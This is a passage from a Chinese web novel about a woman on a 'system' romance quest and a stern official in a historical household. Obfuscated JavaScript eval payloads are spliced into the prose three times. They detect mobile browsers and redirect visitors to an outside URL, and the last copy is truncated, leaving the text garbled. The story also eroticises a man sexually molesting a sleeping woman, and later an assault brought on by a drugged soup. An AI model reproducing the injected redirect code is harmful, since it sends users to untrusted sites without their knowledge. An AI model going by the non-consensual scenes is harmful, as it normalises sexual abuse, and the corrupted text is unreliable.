虽不至于受人耻笑,但在男子之间到底有几分没脸。 闻言,邬涟慢悠悠抬眼,视线落到对方得逞的笑意上,随即自唇齿间溢出一声轻嗤。 “按律,游街三日,处绞刑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525168|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即刻执行。” “是。” 语罢,立即有人将犯人从刑架上拖下来,带上镣铐和颈枷,血水拖了一地。 那人被带走前不甘吼叫:“邬涟!你罔顾刑法、公报私仇,还未定罪你怎能——” 叫嚣声逐渐远去,邬涟垂眸扫过被溅到血迹的衣裳,眼中闪过一丝嫌弃。 去偏房换了身衣服,他走出大牢,外面依旧烈阳高照,照得他不适地眯了眯眼。 在原地站了片刻,他抬步向北苑走去。 长安守在门外,用手在脸侧扇风,他听着房内没有动静,猜测叶冬知应当是睡熟了。 正当他昏昏欲睡之时,传来一阵声沉而稳的脚步声,长安抬头看去,见邬涟正绕过白云亭走来。 “人呢?” 长安忙道,“前面本来在亭子里,后来嫌热,已经进屋睡了。” 邬涟微微颔首,脚步在房门前顿了顿,然后伸手推开了雕花木门。 “吱呀”一声轻响,一缕明晃晃的光泄进来,正正好好照在了床榻之上,落在叶冬知的面上。 她眉头轻皱,并未醒来,下意识将头往里蹭了蹭,大半张脸都埋进了被褥。 因这轻微的动作,本就有些松散的衣襟散得更开,露出里面瓷白莹润的肌肤。 那缕光落在上面,更显得脖颈处仿佛有光晕流动。 邬涟敛眸将门关好,在书架上翻找了一会,找到所需的书卷后,见叶冬知仍然没有醒来的意思,他便就着书卷在她头上敲了一下。 “该醒了,要回府了。” 榻上的人缓缓睁眼,入目是一片青竹色,邬涟站在榻边,正垂眼居高临下地看着她。 她揉眼,当看清自己正躺在榻上时,惊了一下。 任务还没做完,她怎么就睡着了。 叶冬知连忙翻身坐起,脑海中仍然没有显示任务完成,她甩了甩头,脑子依旧一片混沌。 她还记着睡前的事,“大公子,我有个疑问,你能为我解答吗?” “说。”邬涟道。 “我今日一见你,你便好像在生气,从醉仙阁离开后,我觉着你好像更气了,但我也不知你生气的缘由?” “是我哪里说错了话,惹你不痛快了?” 若是不知他生气的原因,她便也不知如何哄他。 邬涟这人总是这样,不爱说话,素日又沉闷,那张脸上又无什么神色变化。 她想破了脑袋也没弄清楚。 闻言,邬涟冷声,“你有这功夫钻研我的心思,不如多读两本书,也好学学圣人道理,免得总做出表里不一的事来。” 叶冬知有些发愣,她何时又表里不一了。 不过也是,邬涟惯爱将她想得很坏,一会又是不守规矩,一会是不知廉耻,这会多个表里不一也算不得什么。 但前面在马车上,她耐着性子问了又问,他也不搭理,现下又是一番阴阳怪气,任她是菩萨,便也心有不忿了。 想着,她语气也有些不好,“你少拿那些话来讽我,问你你又不说,现在还成我的错了?” 邬涟嘴唇动了动,但终究也没说什么,径直朝门外走去。 这个任务已经耽搁了不少时间,系统催促得越发急。 想起此前他每回生气,只需要抱抱便会莫名消气,叶冬知连忙下榻。 邬涟开门栓的手顿住,一具温暖的躯体自身后覆了过来,双手顺势环住他的腰身。 他垂眸,不动声色地扯开她的臂膀。 一副油盐不进的样子。 叶冬知气急,也不顾不得什么,一把扯住他的手臂,用力让他面对着她。 邬涟有些诧异,还不等他做出什么反应,只觉眼前一黑,唇瓣忽然被一抹湿润柔软的东西含住。 26. 第 26 章 潮热的、濡湿的,独属于她的气息,与他紧密贴合,没有一丝一毫的缝隙。 唇瓣仿佛有股酥麻的痒意,转瞬间就侵蚀了所有思绪。 意识到唇上是什么之后,几乎是刹那,极致的羞耻涌上邬涟的脑海。 她怎么能? 她怎么敢? 身体的动作比脑子更快,他颤抖着手推开面前的女子。 骤然被人推开,叶冬知还有些不适应,她怔愣地看着对方。 只见,邬涟白瓷一般的脸颊上泛着不正常的绯红,耳垂红如玛瑙,眼睫胡乱轻颤,胸膛上下起伏。 他本欲训斥几句,但他此刻甚至不敢与她的眼神相撞。 唇上的触感烫得令他几欲钻地。 “还气吗?” 她倒是记性好,一直还记着这事。 邬涟:“......” 他推开房门,脚步踉跄地往外走。 长安被吓了一跳,公子这般慌乱,自从他跟着公子以来,貌似是第一次。 叶冬知见邬涟走了,也忙跟上去。 到了刑部署门口,邬涟已上了马车。 她掀帘而入,面前的男人脸上红霞早已褪去,见她上来,他错开视线,落到矮几上未看完的文书上。 脑海中仍然没有提示任务完成,她抿唇,盯着他的侧脸。 因着他刻意不搭理人,本就骨相优越的侧脸越发显得冷淡,羞怯退却后,取而代之的是被冒犯的愠怒。 片刻后,她忽而道:“对不起。” 邬涟翻书页的手顿了一下,继而很快恢复如常。 “对不起,我不该没经过你的同意就擅自亲你。” 她垂着头,低眉敛目,见对方没有反应,她挪了挪,凑近了些许。 邬涟合上文书,“你是该说对不起。” 他扫她一眼,斥道,“不仅如此,你也该为自己的行径感到羞愧。” 语气冷淡,一如初见时的样子。 叶冬知心中咯噔,她本来是希望他消气,现在看他的样子,却好像适得其反了。 她呆愣坐在原地,指甲不经意抠着手指,直到脑海中突然响起一道声音: 【叮!】 【恭喜宿主,任务完成。攻略目标怒气值消失。】 她略显惊讶地抬头向邬涟看去,但见对方神色平静,与平日并无差别。 任务完成后,她的精神也随之松懈下来,今日醉酒只睡了一会,还被邬涟中途唤醒,现下眼皮仿佛被黏在了一起。 很快,均匀绵长的呼吸声在车厢内响起。 邬涟放下手中文书,侧目看去。 少女半倚着车壁,头靠在车壁上,散乱的青丝贴了些许在脸侧,殷红的唇微微张开。 他垂眸看了一阵,然后起身坐到了她身侧。 马车行得并不快,轮毂碾压在齐整的青石板上,只带来细微的颠簸。 车窗的帘子用的是薄纱,不时透进来的光落在少女的脸上,就连细小的绒毛都泛着金光。 邬涟伸手将她脸上粘连的几根碎发拨到耳后,随即曲起食指,试探性地在她唇上碰了碰。 温热的,还带着湿润的吐息。 起初,他只在上唇摩挲,很快便顺着上唇缓缓划过她的下唇,微微用力摁住下唇,便可见到里面乖巧伏着的粉红舌头。 呼吸不由得粗重几分,他不再满足于只用指关节。 男人伸出食指,一点点描摹她唇瓣的形状,最后,指头停在她的唇珠上,用力碾了碾。 “嗯......” 少女突地轻哼一声,调整了下姿势,将头歪在另一侧,唇瓣迅速擦过他的鼻尖。 没有醒来的迹象。 邬涟又凑近了些,近到他只要一低头,便可轻易摄取殷红之上的芬芳。 他捻了捻指头,将左手食指一点点塞进了她微张的口齿之中。 濡湿,潮热,黏腻。 他右手撑着身子,极有耐心地在她口中缓缓搅弄,目光却不肯放过她脸上一丝一毫的变化。 白皙的指尖扫过她的贝齿,又在殷红的舌尖逗留。 他手腕用力,将半截指头全部送入了她的口中。 少女雪肤之上还有绯红尚未散去,两颊被迫微微鼓起,眉头不由得蹙起。 最终她自喉间溢出一声细碎的叮咛。 一丝晶莹从她唇角溢出。 邬涟拾起帕子,将她唇周擦净,然后撩起衣袍,左手探了进去。 * 车内的阳光原本只能挤进几缕,到此刻已能铺满半个车厢。 叶冬知醒来的时候,发现已经傍晚了。 她睁眼,头顶是精致华贵的车盖,身下亦柔软舒适,身上还盖着一层薄被。 她翻身坐起,觉得有点奇怪。 如果没记错的话,貌似她之前没有躺下来吧,好像是坐着的。 而且。 她想开口说话,却觉得舌尖有些麻,嘴唇也有些淡淡的灼烧感。 她眯眼看窗外的晚霞,难道是天气热了,上火了? 叶冬知没多想,看向一旁依然端坐如松的男人,手边一杯热茶,冒着蒸腾的热气。 “大公子能给我杯茶吗,不知道为何,我觉得好渴,嘴也有点不舒服。” 邬涟将茶水递给她,目光落在她格外红的唇珠上,面不改色淡声道: “现下已四月,燥热不适亦是常见。” 叶冬知喝着茶,觉得也有些道理。 就是不知是不是她鼻子也出问题了,这车厢内有一股若有似无的味道。 虽然被檀香盖得严严实实,但她依然能闻到极淡的石楠花的味道。 此后,二人一路无言。 到永定侯府时,是酉正时分。 丹漆双门被仆从打开,里面走出个明艳非凡的妙龄女子。 身着宝蓝裙装,头戴金钗,眼神清亮,嘴角笑意大方得体。 叶冬知放下车帘,问一侧的人,“这是哪家小姐?” “刑部尚书家的嫡长女,方令仪。” “刑部尚书家......”叶冬知默念着,忽地反应过来,“这不是你顶头上司的女儿吗?” “她来侯府干什么,难不成——” 未待她说完,车外响起一道悦耳清亮的女声,“大公子。” 语气和缓,细听之下不难听出有股迫切之意。 邬涟走出马车,沉声回了句,“方小姐。” 方令仪嘴角笑意更明显了些,她正欲开口,忽地看见自邬涟身后又走出一女子。 初夏燥热,那女子穿着轻纱,身段窈窕,紧接着女子抬起头,露出一张勾魂摄魄的脸。 方令仪嘴角的笑意顿时僵了下来。 她早就听说过永定侯未过门的继室,生得一副祸水模样,又爱在府中勾三搭四,看来,这便是了。 “没想到叶小姐也在呀,早就听说叶小姐出身将门,性格洒脱不羁,如今所见,倒是名副其实。” 叶冬知皱眉。 她又不是傻子,这方令仪拐着弯说她不知廉耻,在需要避嫌的时候,还与自己未来的继子共乘一车呢。 对方一上来就阴阳怪气,那她也没必要给什么好脸色。 听完,她笑了一声,“怎么,你是看见我坐大公子的马车,酸了吗?” 方令仪愣住了。 她显然没想到对方竟然如此直接,一时间不知如何接话,脸色有些难看。 见邬涟往府中走,她赶忙跟上。 “大公子,祖母总挂念着老夫人的身子,但她最近染了风寒,便让我来看望老夫人。” 邬涟不远不近走在她前面,“方小姐有心了。” 方令仪快走两步,与他并肩行着,“应该的,祖母在闺中时便与老夫人是手帕交,这么多年也一直念着。”说着,她用余光瞥了眼身侧的男子,又放柔了声音继续道,“我作为孙女,自然该为祖母分忧。” “方才才拜会过老夫人,她老人家让我多留几日,我推脱不过,便只好叨扰了。” 叶冬知跟在两人后面,不禁感叹邬涟魅力可真大。 行至一段岔路,邬涟忽然顿住了脚步,“恕在下不能奉陪,我还未用晚膳,方小姐若是有兴致,可先在府中逛逛。” 话音刚落,方令仪立刻道:“我也还未用,大公子可否允我一道用膳?” 她脸颊微红,说完后抬眼去看男子的神色,在对方视线即将转过来时,又匆忙移开了眼神,脸红得更厉害。 “自然。” 叶冬知不想打扰二人的甜蜜,她今日一番折腾,早想回到自己院子好好休息,便趁着两人说话自顾自往另一条路走。 察觉到邬涟的视线,方令仪不自然地捋了捋头发,等她羞怯抬头时,却发现对方并不是在看自己,而是越过她,看向了她的身后。 她听得他对她身后道,“你也来。” 要溜走的叶冬知被逮了个正着,她怔了一下,指着自己,“啊?我跟你们一起吃吗,不太好吧。” 邬涟并未搭理她这句话,又道,“你中午饮了酒,应当没吃几口。” 余光瞥见一旁方令仪逐渐难看的表情,她摆了摆手,“算了吧,别人只说想和你一起吃,可没说愿意和我一起吃。” 方令仪印象中的叶冬知是个温吞的性子,但今日见到她才知道她嘴巴没把门,想到什么说什么,加之心上人在此,任她再不愿意,也只好佯装大度: “叶小姐说笑了,令仪未曾这样想过,既然大公子已经开口,你我便不要推辞了。” 晌午光顾着和齐越白二人玩扑克了,确实没顾得上吃几口饭,这会确实有些饿了。 思及此,她也不再拒绝,“那走吧。” 行了约小一刻钟,到了邬涟所住的院子。 此处四面清幽,下人已经将饭菜摆好。 邬涟少有在府中用膳的时候,他口味清淡,又不奢靡,桌上摆了五六道小菜,外加一道汤,一道饭后甜点。 三人落座,叶冬知扫了一眼桌子上的菜: 白灼芥兰、清蒸鲈鱼、鸡丝拌豆腐、翡翠虾仁...... 她用了几口,便没了兴趣。 倒是一旁的方令仪,小口吃着,一边吃一边用帕子擦拭着嘴角的污渍,斯斯文文,还不时点评着每道菜滋味如何。 邬涟用了一些,偶尔附和几句,他扫了眼叶冬知,“不合口味?” “没有的,我与大公子口味相近,这些菜肴都是我素日在家中吃的。” 以为是关心自己,方令仪有些受宠若惊,慌忙应道。 然而并未等到答复,她才意识到这句话并不是对自己说的,顿时窘迫地垂下眼,手指紧紧攥了攥筷子。 叶冬知恹恹地应了声,“还行,不过我更想吃点酸的,辣的,不过看来你和方小姐也不喜欢吃,我就先回去了。” “嗯。” 方令仪还在,邬涟也并未多说,只应了一声便算知晓。 * 次日。 方食过午膳,小丫鬟正收拾桌上的碗筷,阿蔷道:“小姐,得快些过去了,老夫人特意说过,饭后要去见她。” 吃得有些撑,叶冬知不太文雅地伸了个懒腰,才懒散应了声,“嗯。” 阿蔷找了身天水碧的水纹束腰罗裙给她穿上,又配以同色的雕花玉簪,愈发衬得她身姿纤柔。 等到了老夫人所在的万福堂,便有丫鬟打了帘子,整个屋子已坐得满满当当。 老夫人坐在上座,着了身苏绣的藏青褙子,发髻繁复,看起来打扮得有些隆重。 右侧首座坐着邬涟,肩稳背直,见她进来,也只是淡淡瞥了一眼便很快移开。 他身侧坐着方令仪,穿着月白色交领襦裙,妆容精致清淡,气质端庄大方,与邬涟坐在一起,倒真有几分般配。 见她进来,方令仪并未理会,只微侧着头,与邬涟说话。 左侧首座坐着邬雯,她身侧坐着邬彦。甫她一进来,邬彦眼神微微发亮,招手示意她落座。 进了屋子,叶冬知扫了一眼,除去已有人的四个位置,现下只剩下两个位置,一个在方令仪身侧,一个便是邬彦身边。 略一思忖,她坐在了邬彦身旁。 “最近倒是有段时间没见到二公子了。” 邬彦抿唇,轻笑,“秋闱在即,我想好好准备,便常在房里念书。” “秋闱?”叶冬知想了想,“不是还有几个月吗,这么早就开始准备了?” “秋闱三年一次,若这次再不中举,只怕是......”说着,他苦笑一声。 有邬涟珠玉在前,他天赋平平更是常被父亲训斥,要是再不中举,唉。 闻言,叶冬知颔首。 另一侧,邬涟抬眸,目光落在对面低声交谈的二人身上。 自她一进来,与祖母请安后,便一直在与邬彦说话,一声招呼也未曾与他打。 身旁方令仪的声音忽然响起,“老夫人,祖母在府中时常念叨您,这不特意嘱咐我将这串白玉珠送给您,听大夫说,有凝神静气的功效。” 语罢,她从袖中掏出一串无暇莹润的珠子。 老夫人的贴身侍婢接过,放在老夫人手心。 老夫人看了几眼,便笑道,“替我谢谢你祖母,你这孩子,真是有心。” 方令仪似乎有些不好意思,羞涩地笑了笑,又拿出一方抹额,“我听大公子说您患有头风,平日不能吹风,这是我在家中自己绣的抹额,还望您不要嫌弃。” 收下抹额后,老夫人看方令仪的眼神越发慈爱,不仅赞道,“令仪不仅生得明艳端庄,又生性细心温柔,方大人真是好福气,有你这么一个女儿。” “您说笑了。”方令仪微红着脸颊垂下头去。 老夫人见着方令仪得体温婉,心中更是满意,于是状似不经意道:“你说是不是啊,怀泽?” 怀泽是邬涟的字,但平日少有人唤。 过了几息,并未听到邬涟的声音。 老夫人又唤了声,“怀泽?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525169|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>方令仪也有些疑惑地侧目看向邬涟,见对方垂着眼,神色冷凝,不知在想什么。 她前些日子便听祖母和父亲有说过,有意与永定侯府结亲,邬涟虽非永定侯血脉,但颇有经世之才,品行亦端正守礼,未来必前途不可限量。 要不是祖母与侯府老夫人有交情,只怕还轮不上她。 这不,家中找了借口将她送到永定侯府暂住几日,要她多与邬涟接触,培养感情。 直到老夫人再唤了一声,那边才传来邬涟的应答。 “您说的是。” 虽是听到了回答,但老夫人心中却有几分不满。 这个孙子从不肯唤她祖母,平常都“老夫人老夫人”地叫,待她也不亲近。 如今他年轻有为,她脸上有光,也就不与他计较。 思及此,她关心道,“方才我唤了你几声,你好似都没听见,是最近公务繁忙太累了吗,要不先回房休息?” 方令仪也赶紧接话,“是呀,大公子若是劳累,我会跟父亲说的,让他允你的假,你不必忧心。” 闻言,邬涟颔首,“既如此,那我先回去了。” 说着,便径直起身离开。 见着邬涟毫不留恋的背影,方令仪的手在袖中绞着帕子。 亏她还精心打扮了一番,竟是连话都没跟他说上几句。 这厢邬涟离开后,老夫人便拉着方令仪唠家常,邬雯、邬彦时不时附和几句。 偶尔聊到永定侯时,总要拐着弯打压叶冬知几句。 她有些懒散地靠在椅子上,敢情这回把她叫过来就是告诉她别再勾搭邬涟了,面前坐着的方令仪就是他未婚妻的人选。 别人高门世家,大族嫡女,会掌家会算账,又擅长六艺,可不是她这个孤女能比的。 坐了会,她找了个借口,回了自己房中。 下午睡醒后,叶冬知叫小厨房炖了莲子羹备着。 阿蔷有些惊讶,“小姐,你不是不爱喝莲子的吗,怎的想起来喝莲子羹了?” 她拢了拢头发,“不是给我喝的,你先让小厨房去做。” 午间见邬涟脸色不太好,兴许真是累到了。 她既然爱慕他的人设都已立好,眼下他这幅样子,不去看看倒真说不过去。 莲子羹有降火滋补的功效,他最近脾气大,动不动就给她甩脸子,正好败败火气。 用过晚膳,天色暗了下来,暑热也渐渐褪去,蝉鸣响彻在寂静的夜里。 将阿蔷打发走,叶冬知提了盏灯笼,拿上食盒,沿着僻静的小路去寻邬涟。 到了地方,远远地便看见邬涟的卧房门口有个熟悉的身影。 这个时节虽说有几分闷热,但夜晚也还算是凉爽,常人需得穿两三件衣裳。 可眼前的女子仅穿着一件鲛绡制成的襦裙,外罩着一件同样轻薄的褙子,勾勒出她瘦削柔弱的身段。 方令仪转过头来,那张一惯端庄的脸上化了我见犹怜的妆容,手提着一个精致的食盒,正与守在门口的长安说话。 “我白日见大公子精神不济,眉眼间有燥郁,特意炖了银耳百合莲子汤,知道大公子不喜甜食,这里面只放了一点糖。” 长安目不斜视,只冷冷道,“方小姐回去吧,公子还有许多要事要处理,怕是没时间见你。” 方令仪眼瞳转了转,从袖中掏出一块银锭,作势要塞到长安手中,“就一小会,我实在是忧心,我放下汤便出来。” “这是做什么!” 长安吓了一跳,连忙推拒。 屋外的动静惊动了里面正在批阅公文的邬涟,他揉了揉额头,才起身开门。 听到开门声,方令仪迅速回身,拢了拢耳边的碎发,含羞带怯地看向邬涟,“我白日见你疲累,思来想去还是放心不下,这是我熬的汤,守了两个时辰呢,大公子可要尝尝?” 说着,便要将食盒盖子打开。 邬涟神色平静,一眼也未看食盒,便道: “不必了,我没有夜食的习惯,方小姐回去吧。” 方令仪还不肯死心,“可——” “长安。”似乎是不想多说,唤这两个字时,邬涟的声音都透露出一股不耐。 长安意会,伸手做了一个“请”的姿势。 方令仪不甘地望着邬涟,眼中有隐隐水光,她咬了咬唇,攥紧食盒离开。 她好歹也是尚书嫡女,居然这般折辱她! 还真以为她非他不可吗。 方令仪脸色难看地出了院门,正好与看完全程的叶冬知撞了个正着。 她瞧见对方手上也拎了个食盒,顿时明了,语气客气中带着几分嘲弄。 “叶小姐也是来给大公子送汤的?我劝你还是别白费心思了,若是今夜叶小姐的事被老夫人知道了,老夫人恐会生气呢。” 叶冬知知道,其实方令仪说的倒是事实,她与邬涟虽有过许多次亲近,但那基本上都是只有他们两人知道,是以这么久了老夫人也未曾处罚过她,顶多有些风言风语。 但她见不惯方令仪阴阳怪气的样子,于是当着她的面打开食盒,端着那碗莲子羹便蹲在原地喝了起来。 “谁说我要送给邬涟的,这给我自己的。” 见面不过两日,叶冬知的种种行为都让方令仪感到十分意外,她瞥见对方难登大雅之堂的动作,仍道:“不在自己房中喝,怎的偏要来大公子这院外?不过是被我发现,掩耳盗铃罢了。” 叶冬知并不理会她的话,反而望着天上的月光感叹一句。 “我就爱在这喝,这里景致好,又无遮挡,你怎么连人在哪里喝汤也要管?真闲。” 方令仪:“......” 长这么大,她从未见过如叶冬知这般厚颜无耻的世家小姐,一时不知该说什么。 叶冬知喝了几口,突而眼神亮亮道,“你这汤反正也送不出去,不如给我喝,我没邬涟挑,也不算你浪费一番心思了。” 这下,方令仪的脸色已经不能用难看来形容了,而是一种欲言又止的古怪和尴尬。 她想不通,对方到底是怎么想的才会说出这些话。 几天前,母亲在家叮嘱她,去了永定侯之后,既要想办法套住邬涟的心,也要防备着那个叶冬知,她虽身份卑微,但实在美貌。 起初方令仪不以为意,觉得不过是有几分心思的狐媚子罢了,现在她却觉得对方确实有些与众不同。 像是有点失心疯了...... 莫不是知道自己要嫁给大二十岁的永定侯才这般的,此前她听说过,这叶冬知貌似逃了几次,都被抓了回来。 这样想着,方令仪面色微妙地放下食盒,也没再说什么。 罢了,邬涟那样的人,连她也不放在心上,想必一个神志有恙的人,他更不会有什么心思。 等方令仪走了,叶冬知从地上站起来。 她盯着地上的食盒,打开后,一碗熬得正好的银耳莲子羹还冒着热气。 想了想,她将这碗羹汤放到自己的食盒中,正好借花献佛。 27. 第 27 章 甫再次听见门外的脚步声,以为是方令仪去而复返。 邬涟正心生烦躁,刚要开口,便听得屋外长安惊喜道:“叶小姐,你来得正好!公子从下午一直都待在房内,就连晚膳也没用,你这食盒装的是给公子的吃食吧?” 叶冬知正要回答,只见“吱呀”一声,雕花木门被人从内打开。 月光倾泻而下,有些许落在邬涟的面上,他浓黑的眼瞳落在门外女子的面上,继而又落在她手中的食盒上。 “进来吧。” 语气算不上冷硬,倒也不算温和。 叶冬知进了屋子,将食盒搁在桌案上,拿出里面精致的天青色瓷碗,“我白日在老夫人那处见你好像不太舒服,脸色挺难看的,所以炖了汤给你送来。” “是吗。”邬涟扫过那碗里装的东西,也是莲子羹,“你忙着和邬彦叙旧,倒是难为你还记挂着我。” 他语气平静,与平日并无区别,但听着有些不对劲,叶冬知不明所以,只好端起碗递给他,“银耳莲子羹,有滋补降火的功效,你快尝尝。” “我专门给你炖的呢。”她又面不改色补了一句。 邬涟接过碗,搅动着碗里的东西,“降火?我又没气,何来的火气要降?” 虽然她有些迟钝,但是傻子也能听出来他话里有话。 于是,叶冬知像是终于反应过来。 邬涟又生气了。 天啊,他怎么一天天的气这么多。 她今晚本来是想来刷好感的,怎么又撞枪口了? 不知道原因,她便只好顺着他说,“对对对,你没气,是我说错了,汤先喝了吧,等会冷了就不好喝了。” 等她说完,半天也没等到邬涟说话,她侧目去看,却见对方面色冷凝,眉头轻压着,似是有些不悦。 半晌,他冷着脸道。 “你喂我。” “嗯......啊?” 叶冬知陡然睁大眼睛,以为自己听错了。 印象中邬涟一贯端方守礼,别说是喂汤,便是她不慎触碰到他,都要被他说不知羞耻。 见她没有动,他指节有些不耐地敲击着桌面,“是没听清吗。” 邬涟向来寡言,说话时惜字如金,往日还好,一旦他不悦时,嗓音便比往日更沉,无端地让人生出几分畏惧。 叶冬知忙不迭地端起碗,拿起调羹舀了一勺汤,喂到他嘴边。 离得近了,她才发现,邬涟的唇很是漂亮,颜色绯红,虽偏薄,但唇缘弧度饱满流畅。 大多数人见他第一面,只觉他威势太盛,眉眼锋利,气质肃然,加之他总是微抿着唇,唇角绷的很直,倒是让人难以注意到,他的唇也如此完美。 邬涟启唇,不疾不徐地喝完勺中的汤。 须臾,碗中的汤已下去大半。 叶冬知将碗收进食盒,提着便准备离开。 “你没有其他要说的吗?” 身后传来一声询问,语气凉凉。 “说什么?”她不解,邬涟总是说话不说明白,偏要让她来猜。 她又不是他肚里的蛔虫,怎知他真正的想法。 见她面上一派茫然,当真是不知缘由,邬涟压着眼帘,幽幽看她: “我倒是不知你与邬彦已经这般亲近了,除了他,旁人却是一个都看不见了。” 叶冬知总算明白过来,她解释,“那时我见你与方小姐说话,我便不好打搅。” 他蹙眉,“我何时与她说话了。” 分明是那方令仪自说自话,他几时理会过她。 正欲再开口时,他忽觉身体一阵异样。 一股猛烈的燥意自小腹窜起,紧接着浑身涌起难耐的热意,喉咙发紧,口干舌燥。 他甩了甩头,抬眼看向面前的女子。 她穿的白日那件水纹罗裙,衣衫轻薄,紧贴在她的身躯上,同色腰封将她的腰掐的更细。 他是知她身段窈窕的,但从未有哪一刻,他竟觉得他的视线无法从她身上移开。 他的目光一寸寸掠过她,自上而下,从眉眼、鼻唇,到锁骨、高耸的峰峦,再到腰、丰润的臀。 所过之处,仿若一把把火,令他不由得呼吸粗重,难以自抑。 叶冬知回过身,扫过邬涟绯红的脸,顿时吓了一跳。 “大公子,你怎么了?” 她蹙眉,眸光如水,伸手朝他额头探去。 还未等她触碰到他,他突地伸手一把攥住了她的手腕。 好烫。 她手腕轻颤,他手指纤长,轻而易举就能让她整个手动弹不得。 他的大拇指在她虎口至掌根处缓缓摩挲,引得她那处肌肤战栗不已。 她脑中顿时有个难以置信的猜测,“你中药了?” 邬涟意识尚且还有些清明,他冷静些许,松开她的手腕,再看向她时目光带了些打量和探究。 若说是她下的药,也并非不可能,她处处引诱他,不是早想借他摆脱与义父的婚约吗。 但若是她下的药,又为何比他还震惊。 他深吸口气,压□□内滚烫的欲望,开口时嗓音又沉又哑,“汤哪里来的?” 叶冬知知道事情非同小可,也不敢隐瞒,将她与方令仪的事一一道来。 听完,邬涟默了默。 她站在一旁,见他脸色依旧潮红,没有缓和的迹象,于是试探着开口: “你还好吗,我去叫长安来。” 邬涟想开口,却发现嗓子涩得厉害,并且药效比方才更猛,烫得他浑身都冒着烧灼的热气。 见对方没反应,叶冬知张口欲唤:“长——” “安”字还未出口,身后陡然传来一股大力,她不察,被这股力量拉扯着,跌入一个灼人的怀抱。 伴随着熟悉的檀香而来的,是难以忽视的男子气息。 紧接着,他小臂稍稍用力,她便坐到了他一侧的腿上。 他双手缠住她不盈一握的腰身,将头搁在她的肩上,然后抬脸,贴住了她一侧的脸颊。 微凉细腻的触感,令邬涟发出一声喟叹的低哼。 叶冬知被突如其来的变故惊住了,她无措,也有些隐隐的惧怕。 她尝试着挣脱他的桎梏,微微扭了扭身体,却引得他将她箍得更紧。 他本就比她高一个头还不止,此时她跌坐在他怀中,纤弱瘦削的身子被他束缚在怀中,力道紧得似乎要将她融入他的身体。 “别动,我过会就好。” 察觉到她的动作,他哑着嗓子,声线像被微小的砂砾划过,磨得人心头发颤。 灼热的吐息也喷在她的脸侧,她忍不住瑟缩了一下,低声道,“邬涟......” 她的这道声音落在邬涟耳中仿若催人的低吟。 他将脸抬起来,将头抵在她的发间,愈发粗重的喘息声,即便他竭力压制着,仍清晰无比地传进叶冬知的耳中。 她的心随着他的呼吸跳的越来越急,越来越重,她又慌又怕,出口的话都带着细微的颤音。 “好......好了吗?” 邬涟垂着眼,呼出的气烫红了她白皙的脖颈,他的视线落在她莹润的耳垂上,应了一声。 “嗯,快好了。” 那耳垂上坠着一颗珍珠,衬得她那块软肉越发细嫩。 他忽地张嘴,将她整个耳垂含进了口中,连带着那颗珠子。 一阵从未有过的酥麻和刺激直冲天灵感,叶冬知忍不住微微扬起脖颈,发出短促的一声嘤咛。 浑身肌肉顿时紧绷起来,她下意识用手撑着他的胸膛想推开他,却被他单手轻易卸了力,让她的手腕连带着半边腰肢箍在一起。 “你别这样,放开——” 话未说完,她感觉湿润滚烫的东西卷着那颗珠子,灵巧地在她耳垂上反复碾磨,接着他的舌尖又一点点划过她耳垂的边缘,时不时用牙齿轻轻啃咬一下。 陌生而兴奋的快感刺激着她,她脑中一片空白,竟然一时说不出话来,只有身体不由自主地深深喘息。 直到感觉大腿外侧被硌得越来越痛,她恍然清醒过来,侧头躲开了他得寸进尺的动作。 “嗯?” 被打断的人,似乎有些不悦。 她侧目对上他的视线,只一瞬,就被烫得不敢再继续对视。 叶冬知从未见过这样的邬涟。 他整张脸泛着不正常的绯红,就连寡白的眼皮都沾染了薄红,他微张着眼,那双浓黑的墨瞳翻涌着压制不住的欲色。 最令人难以忽视的,是那两片含着水光的唇,波光潋滟,红得如四月枝头的蔷薇。 她趁他松懈,用力挣扎着下地,那处被他蹂躏过的耳垂又酥又痒,她赶忙开口。 “够了吧,你实在难受的话,我让长安给你找个女子来。” 他不语,闭了闭眼,嗓音依旧哑得厉害,“不必,让长安给我打些凉水来。” 见她红着脸,局促站在原地,邬涟后知后觉才反应过来自己方才做了什么。 按理来说,这是最常见的催.情药,药效不算烈,熬一熬便过去了。 他沉沉呼出口气。 不该的。 他又越界了。 连带着昨日,已经两次了。 单手撑住额头,他艰难移开视线,没有再看她,“抱歉,今日之事,是我冒犯,你若有什么要求都可以提,我会尽力满足,全当做今日的赔罪。” 叶冬知脑中一片混沌,闻言讷讷地应了声,“啊......好。” 她理了理腰间被他大力压住的褶皱,然后出门唤长安。 “你快进去吧,你主子他好像有点不舒服。” 她自以为神色镇定,语气也算正常,但落在长安眼里可不是这么回事。 长安自小便跟着邬涟,自打邬涟进了刑部,他察言观色的本事也学了不少。 叶小姐这凌乱的碎发,以及脸上还未消退的红,略有躲闪的眼神,怎么看公子都不像是只是“有点不舒服”的样子。 不会吧,不会吧,难道...... 想到某种可能,他顿感一阵欣慰。 不容易啊,公子活了二十三年,连荤都还没开过,如今总算是要开窍了! 他兴冲冲地冲进去打算收拾战场,却发现他家公子红着脸坐在凳子上,哑着嗓音对他道: “打一桶凉水来。” 啊? 就这? 没干事啊,真没出息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 